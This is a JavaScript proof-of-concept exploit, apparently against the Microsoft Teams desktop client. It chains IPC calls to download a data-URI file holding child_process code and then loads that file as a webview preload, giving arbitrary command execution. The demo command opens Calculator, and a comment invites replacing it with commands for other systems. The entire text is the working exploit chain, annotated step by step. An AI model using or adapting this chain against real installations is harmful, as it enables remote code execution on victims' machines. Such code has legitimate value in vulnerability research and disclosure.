cmd = `open /System/Applications/Calculator.app` // change to windows/linux command as required stage1 = `data:text/plain,cp=require('child_process');cp.exec('${cmd}')`; // create a virtual file to download this.electronSafeIpc.send(`desktopFileDownload`, stage1); // request to download file // implement an event handler when files downloaded to trigger payload this.electronSafeIpc.on(`desktop-file-download-finished`, (_, fileinfo) => { f = fileinfo.uniqueFile.filePath; // event gives us file path which we don't know beforehand // create a new webview mockup - window with a webview tag and our virtual, downloaded file as preload stage2 = `data:text/html,<webview src='about:blank' preload='file:///${f}'></webview>` this.electronSafeIpc.send(`allowWindowOpenUrl`, stage2); // abusing MS Teams IPC API to allow above URL this.w = window.open(stage2); // URL gets opened, webview gets created with our virtual, downloaded file preload setTimeout(()=>{this.w.close()},1000) // not necessary, but let's close the custom window } )